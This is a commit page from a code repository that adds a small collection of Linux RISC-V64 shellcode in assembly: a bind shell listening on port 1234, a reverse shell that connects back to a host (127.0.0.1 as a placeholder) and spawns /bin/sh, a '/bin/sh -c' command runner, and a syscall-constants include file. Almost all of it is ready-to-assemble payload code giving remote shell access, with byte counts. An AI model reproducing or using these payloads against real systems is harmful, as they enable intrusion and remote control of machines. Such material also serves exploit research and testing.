Skip to content

Commit d3ee25a

Browse files
authored
Add files via upload
1 parent feb1929 commit d3ee25a

4 files changed

Lines changed: 387 additions & 0 deletions

File tree

os/linux/riscv64/bind.s

Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
/**
2+
Copyright © 2018 Odzhan. All Rights Reserved.
3+
4+
Redistribution and use in source and binary forms, with or without
5+
modification, are permitted provided that the following conditions are
6+
met:
7+
8+
1. Redistributions of source code must retain the above copyright
9+
notice, this list of conditions and the following disclaimer.
10+
11+
2. Redistributions in binary form must reproduce the above copyright
12+
notice, this list of conditions and the following disclaimer in the
13+
documentation and/or other materials provided with the distribution.
14+
15+
3. The name of the author may not be used to endorse or promote products
16+
derived from this software without specific prior written permission.
17+
18+
THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR
19+
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
20+
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
21+
DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
22+
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
23+
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
24+
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
25+
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
26+
STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
27+
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
28+
POSSIBILITY OF SUCH DAMAGE. */
29+
30+
# 176 bytes
31+
32+
.include "include.inc"
33+
34+
.equ PORT, 1234
35+
36+
.global _start
37+
.text
38+
39+
_start:
40+
addi sp, sp, -16
41+
42+
# s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
43+
li a7, SYS_socket
44+
li a2, IPPROTO_IP
45+
li a1, SOCK_STREAM
46+
li a0, AF_INET
47+
ecall
48+
49+
mv a3, a0
50+
51+
# bind(s, &sa, sizeof(sa));
52+
li a7, SYS_bind
53+
li a2, 16
54+
li a1, (((((PORT & 0xFF) << 8) | (PORT >> 8)) << 16) | AF_INET)
55+
sd a1, (sp)
56+
sd x0, 8(sp)
57+
mov a1, sp
58+
ecall
59+
60+
# listen(s, 1);
61+
li a7, SYS_listen
62+
li a1, 1
63+
mv a0, a3
64+
ecall
65+
66+
# r = accept(s, 0, 0);
67+
li a7, SYS_accept
68+
mv a2, x0
69+
mv a1, x0
70+
mv a0, a3
71+
ecall
72+
73+
mv a4, a0
74+
75+
# in this order
76+
#
77+
# dup3(s, STDERR_FILENO, 0);
78+
# dup3(s, STDOUT_FILENO, 0);
79+
# dup3(s, STDIN_FILENO, 0);
80+
li a7, SYS_dup3
81+
li a1, STDERR_FILENO + 1
82+
c_dup:
83+
mv a0, a4
84+
addi a1, a1, -1
85+
ecall
86+
bne a1, zero, c_dup
87+
88+
# execve("/bin/sh", NULL, NULL);
89+
li a7, SYS_execve
90+
mv a2, x0
91+
mv a1, x0
92+
li a0, BINSH
93+
sd a0, (sp)
94+
mv a0, sp
95+
ecall

os/linux/riscv64/cmd.s

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
/**
2+
Copyright © 2018 Odzhan. All Rights Reserved.
3+
4+
Redistribution and use in source and binary forms, with or without
5+
modification, are permitted provided that the following conditions are
6+
met:
7+
8+
1. Redistributions of source code must retain the above copyright
9+
notice, this list of conditions and the following disclaimer.
10+
11+
2. Redistributions in binary form must reproduce the above copyright
12+
notice, this list of conditions and the following disclaimer in the
13+
documentation and/or other materials provided with the distribution.
14+
15+
3. The name of the author may not be used to endorse or promote products
16+
derived from this software without specific prior written permission.
17+
18+
THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR
19+
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
20+
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
21+
DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
22+
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
23+
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
24+
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
25+
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
26+
STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
27+
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
28+
POSSIBILITY OF SUCH DAMAGE. */
29+
30+
# 112 bytes
31+
32+
.include "include.inc"
33+
34+
.global _start
35+
.text
36+
37+
_start:
38+
# execve("/bin/sh", {"/bin/sh", "-c", cmd, NULL}, NULL);
39+
addi sp, sp, -64 # allocate 64 bytes of stack
40+
li a7, SYS_execve
41+
li a0, BINSH # a0 = "/bin/sh\0"
42+
sd a0, (sp) # store "/bin/sh" on the stack
43+
mv a0, sp
44+
li a1, 0x632D # a1 = "-c"
45+
sd a1, 8(sp) # store "-c" on the stack
46+
addi a1, sp, 8
47+
la a2, cmd # a2 = cmd
48+
sd a0, 16(sp)
49+
sd a1, 24(sp)
50+
sd a2, 32(sp)
51+
sd x0, 40(sp)
52+
addi a1, sp, 16 # a1 = {"/bin/sh", "-c", cmd, NULL}
53+
mv a2, x0 # penv = NULL
54+
ecall
55+
cmd:
56+
.asciz "echo Hello, World!"
57+

os/linux/riscv64/connect.s

Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
/**
2+
Copyright © 2018 Odzhan. All Rights Reserved.
3+
4+
Redistribution and use in source and binary forms, with or without
5+
modification, are permitted provided that the following conditions are
6+
met:
7+
8+
1. Redistributions of source code must retain the above copyright
9+
notice, this list of conditions and the following disclaimer.
10+
11+
2. Redistributions in binary form must reproduce the above copyright
12+
notice, this list of conditions and the following disclaimer in the
13+
documentation and/or other materials provided with the distribution.
14+
15+
3. The name of the author may not be used to endorse or promote products
16+
derived from this software without specific prior written permission.
17+
18+
THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR
19+
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
20+
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
21+
DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
22+
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
23+
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
24+
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
25+
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
26+
STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
27+
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
28+
POSSIBILITY OF SUCH DAMAGE. */
29+
30+
# 140 bytes
31+
32+
.include "include.inc"
33+
34+
.equ PORT, 1234
35+
.equ HOST, 0x0100007F # 127.0.0.1
36+
37+
.global _start
38+
.text
39+
40+
_start:
41+
addi sp, sp, -16
42+
43+
# s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
44+
li a7, SYS_socket
45+
li a2, IPPROTO_IP
46+
li a1, SOCK_STREAM
47+
li a0, AF_INET
48+
ecall
49+
50+
mv a3, a0 # a3 = s
51+
52+
# connect(s, &sa, sizeof(sa));
53+
li a7, SYS_connect
54+
li a2, 16
55+
li a1, ((HOST << 32) | ((((PORT & 0xFF) << 8) | (PORT >> 8)) << 16) | AF_INET)
56+
sd a1, (sp)
57+
mv a1, sp # a1 = &sa
58+
ecall
59+
60+
# in this order
61+
#
62+
# dup3(s, STDERR_FILENO, 0);
63+
# dup3(s, STDOUT_FILENO, 0);
64+
# dup3(s, STDIN_FILENO, 0);
65+
li a7, SYS_dup3
66+
li a1, STDERR_FILENO + 1
67+
c_dup:
68+
mv a2, x0
69+
mv a0, a3
70+
addi a1, a1, -1
71+
ecall
72+
bne a1, zero, c_dup
73+
74+
# execve("/bin/sh", NULL, NULL);
75+
li a7, SYS_execve
76+
li a0, BINSH
77+
sd a0, (sp)
78+
mv a0, sp
79+
ecall

os/linux/riscv64/include.inc

Lines changed: 156 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,156 @@
1+
/**
2+
Copyright © 2018 Odzhan. All Rights Reserved.
3+
4+
Redistribution and use in source and binary forms, with or without
5+
modification, are permitted provided that the following conditions are
6+
met:
7+
8+
1. Redistributions of source code must retain the above copyright
9+
notice, this list of conditions and the following disclaimer.
10+
11+
2. Redistributions in binary form must reproduce the above copyright
12+
notice, this list of conditions and the following disclaimer in the
13+
documentation and/or other materials provided with the distribution.
14+
15+
3. The name of the author may not be used to endorse or promote products
16+
derived from this software without specific prior written permission.
17+
18+
THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR
19+
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
20+
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
21+
DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
22+
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
23+
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
24+
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
25+
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
26+
STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
27+
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
28+
POSSIBILITY OF SUCH DAMAGE. */
29+
30+
# symbolic constants for Linux/AArch64
31+
32+
.equ BINSH, 0x0068732F6E69622F
33+
34+
.equ BUFSIZ, 64
35+
.equ NULL, 0
36+
.equ SIGCHLD, 17
37+
38+
# sched.h
39+
.equ CSIGNAL, 0x000000FF # signal mask to be sent at exit
40+
.equ CLONE_VM, 0x00000100 # set if VM shared between processes
41+
.equ CLONE_FS, 0x00000200 # set if fs info shared between processes
42+
.equ CLONE_FILES, 0x00000400 # set if open files shared between processes
43+
.equ CLONE_SIGHAND, 0x00000800 # set if signal handlers and blocked signals shared
44+
.equ CLONE_PTRACE, 0x00002000 # set if we want to let tracing continue on the child too
45+
.equ CLONE_VFORK, 0x00004000 # set if the parent wants the child to wake it up on mm_release
46+
.equ CLONE_PARENT, 0x00008000 # set if we want to have the same parent as the cloner
47+
.equ CLONE_THREAD, 0x00010000 # Same thread group?
48+
.equ CLONE_NEWNS, 0x00020000 # New mount namespace group
49+
.equ CLONE_SYSVSEM, 0x00040000 # share system V SEM_UNDO semantics
50+
.equ CLONE_SETTLS, 0x00080000 # create a new TLS for the child
51+
.equ CLONE_PARENT_SETTID, 0x00100000 # set the TID in the parent
52+
.equ CLONE_CHILD_CLEARTID, 0x00200000 # clear the TID in the child
53+
.equ CLONE_DETACHED, 0x00400000 # Unused, ignored
54+
.equ CLONE_UNTRACED, 0x00800000 # set if the tracing process can't force CLONE_PTRACE
55+
.equ CLONE_CHILD_SETTID, 0x01000000 # set the TID in the child
56+
.equ CLONE_NEWCGROUP, 0x02000000 # New cgroup namespace
57+
.equ CLONE_NEWUTS, 0x04000000 # New utsname namespace
58+
.equ CLONE_NEWIPC, 0x08000000 # New ipc namespace
59+
.equ CLONE_NEWUSER, 0x10000000 # New user namespace
60+
.equ CLONE_NEWPID, 0x20000000 # New pid namespace
61+
.equ CLONE_NEWNET, 0x40000000 # New network namespace
62+
.equ CLONE_IO, 0x80000000 # Clone io context
63+
64+
# fcntl.h
65+
.equ O_ACCMODE, 00000003
66+
.equ O_RDONLY, 00000000
67+
.equ O_WRONLY, 00000001
68+
.equ O_RDWR, 00000002
69+
.equ O_CREAT, 00000100
70+
.equ O_EXCL, 00000200
71+
.equ O_NOCTTY, 00000400
72+
.equ O_TRUNC, 00001000
73+
.equ O_APPEND, 00002000
74+
.equ O_NONBLOCK,00004000
75+
76+
.equ SHUT_RDWR, 2
77+
78+
.equ STDIN_FILENO, 0
79+
.equ STDOUT_FILENO, 1
80+
.equ STDERR_FILENO, 2
81+
82+
.equ AF_INET, 2
83+
.equ SOCK_STREAM, 1
84+
.equ IPPROTO_IP, 0
85+
86+
# epoll.h
87+
.equ EPOLLIN, 0x001
88+
.equ EPOLLPRI, 0x002
89+
.equ EPOLLOUT, 0x004
90+
.equ EPOLLERR, 0x008
91+
.equ EPOLLHUP, 0x010
92+
.equ EPOLLRDNORM, 0x040
93+
.equ EPOLLRDBAND, 0x080
94+
.equ EPOLLWRNORM, 0x100
95+
.equ EPOLLWRBAND, 0x200
96+
.equ EPOLLMSG, 0x400
97+
98+
.equ EPOLLEXCLUSIVE, 1 << 28
99+
.equ EPOLLWAKEUP, 1 << 29
100+
.equ EPOLLONESHOT, 1 << 30
101+
.equ EPOLLET, 1 << 31
102+
103+
.equ EPOLL_CTL_ADD, 1
104+
.equ EPOLL_CTL_DEL, 2
105+
.equ EPOLL_CTL_MOD, 3
106+
107+
# Linux/RISC-V system calls
108+
.equ SYS_epoll_create1, 20
109+
.equ SYS_epoll_ctl, 21
110+
.equ SYS_epoll_pwait, 22
111+
.equ SYS_dup3, 24
112+
.equ SYS_fcntl, 25
113+
.equ SYS_statfs, 43
114+
.equ SYS_faccessat, 48
115+
.equ SYS_chroot, 51
116+
.equ SYS_fchmodat, 53
117+
.equ SYS_openat, 56
118+
.equ SYS_close, 57
119+
.equ SYS_pipe2, 59
120+
.equ SYS_read, 63
121+
.equ SYS_write, 64
122+
.equ SYS_pselect6, 72
123+
.equ SYS_ppoll, 73
124+
.equ SYS_splice, 76
125+
.equ SYS_exit, 93
126+
.equ SYS_futex, 98
127+
.equ SYS_kill, 129
128+
.equ SYS_reboot, 142
129+
.equ SYS_setuid, 146
130+
.equ SYS_setsid, 157
131+
.equ SYS_uname, 160
132+
.equ SYS_getpid, 172
133+
.equ SYS_getppid, 173
134+
.equ SYS_getuid, 174
135+
.equ SYS_getgid, 176
136+
.equ SYS_gettid, 178
137+
.equ SYS_socket, 198
138+
.equ SYS_bind, 200
139+
.equ SYS_listen, 201
140+
.equ SYS_accept, 202
141+
.equ SYS_connect, 203
142+
.equ SYS_sendto, 206
143+
.equ SYS_recvfrom, 207
144+
.equ SYS_setsockopt, 208
145+
.equ SYS_getsockopt, 209
146+
.equ SYS_shutdown, 210
147+
.equ SYS_munmap, 215
148+
.equ SYS_clone, 220
149+
.equ SYS_execve, 221
150+
.equ SYS_mmap, 222
151+
.equ SYS_mprotect, 226
152+
.equ SYS_wait4, 260
153+
.equ SYS_getrandom, 278
154+
.equ SYS_memfd_create, 279
155+
.equ SYS_access, 1033
156+

0 commit comments

Comments
 (0)